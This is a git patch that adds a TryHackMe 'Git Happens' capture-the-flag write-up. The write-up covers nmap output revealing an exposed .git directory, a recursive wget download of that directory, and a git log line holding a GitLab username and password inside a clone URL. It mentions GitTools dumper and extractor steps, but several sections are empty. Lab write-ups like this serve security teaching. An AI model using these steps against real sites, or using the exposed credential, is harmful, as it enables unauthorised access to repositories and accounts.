From 428217f5edfc83e22638aec291f651500bf374e6 Mon Sep 17 00:00:00 2001 From: AbdullahRizwan101 <60057481+AbdullahRizwan101@users.noreply.github.com> Date: Sun, 8 Nov 2020 21:52:43 +0500 Subject: [PATCH] Add files via upload --- TryHackMe/Git_happens.md | 110 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 110 insertions(+) create mode 100644 TryHackMe/Git_happens.md diff --git a/TryHackMe/Git_happens.md b/TryHackMe/Git_happens.md new file mode 100644 index 0000000..e2914b3 --- /dev/null +++ b/TryHackMe/Git_happens.md @@ -0,0 +1,110 @@ +# TryHackMe-Git Happens + +## NMAP + +``` +Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-08 20:16 PKT +Nmap scan report for 10.10.116.239 +Host is up (0.16s latency). +Not shown: 999 closed ports +PORT STATE SERVICE VERSION +80/tcp open http nginx 1.14.0 (Ubuntu) +| http-git: +| 10.10.116.239:80/.git/ +| Git repository found! +|_ Repository description: Unnamed repository; edit this file 'description' to name the... +|_http-server-header: nginx/1.14.0 (Ubuntu) +|_http-title: Super Awesome Site! +Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + +Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . +Nmap done: 1 IP address (1 host up) scanned in 25.52 seconds + +``` +## PORT 80 + +We found `/.git/` + + + +Use wget to recursively download all git files on your local machines so you can view them easily + +`wget -r http://10.10.116.239/.git/` + +``` +2020-11-08 20:29:57 (2.30 MB/s) - ‘10.10.116.239/.git/refs/heads/master’ saved [41/41] + +--2020-11-08 20:29:57-- http://10.10.116.239/.git/logs/refs/heads/master +Reusing existing connection to 10.10.116.239:80. +HTTP request sent, awaiting response... 200 OK +Length: 216 [application/octet-stream] +Saving to: ‘10.10.116.239/.git/logs/refs/heads/master’ + +10.10.116.239/.git/logs/refs 100%[===========================================>] 216 --.-KB/s in 0s + +2020-11-08 20:29:57 (13.0 MB/s) - ‘10.10.116.239/.git/logs/refs/heads/master’ saved [216/216] + +FINISHED --2020-11-08 20:29:57-- +``` + +We find somthing interesting + +``` +root@kali:~/TryHackMe/Easy/Git Happens/git files/logs# cat HEAD +0000000000000000000000000000000000000000 d0b3578a628889f38c0affb1b75457146a4678e5 root 1595543975 +0200 clone: from https://hydragyrum:kMhJnM42EHdTN7MXNWeD@gitlab.com/cfe-atc/seccom/git-fail.git + +``` + +But I can't crack the SHA-1 hash + +## GitTools + +I then came across gittools that may dump from a remote location and then can extract useful information from the files + +### Dumper + + +### Extractor + + +Here we can find `index.html` + +``` +root@kali:~/TryHackMe/Easy/Git/temp/8-395e087334d613d5e423cdf8f7be27196a360459# ls -al +total 28 +drwxr-xr-x 3 root root 4096 Nov 8 21:36 . +drwxr-xr-x 11 root root 4096 Nov 8 21:36 .. +-rw-r--r-- 1 root root 241 Nov 8 21:36 commit-meta.txt +drwxr-xr-x 2 root root 4096 Nov 8 21:36 css +-rw-r--r-- 1 root root 677 Nov 8 21:36 dashboard.html +-rw-r--r-- 1 root root 2667 Nov 8 21:36 index.html +-rw-r--r-- 1 root root 54 Nov 8 21:36 README.md +``` + +And we will get the password + +``` + + + + + + +``` \ No newline at end of file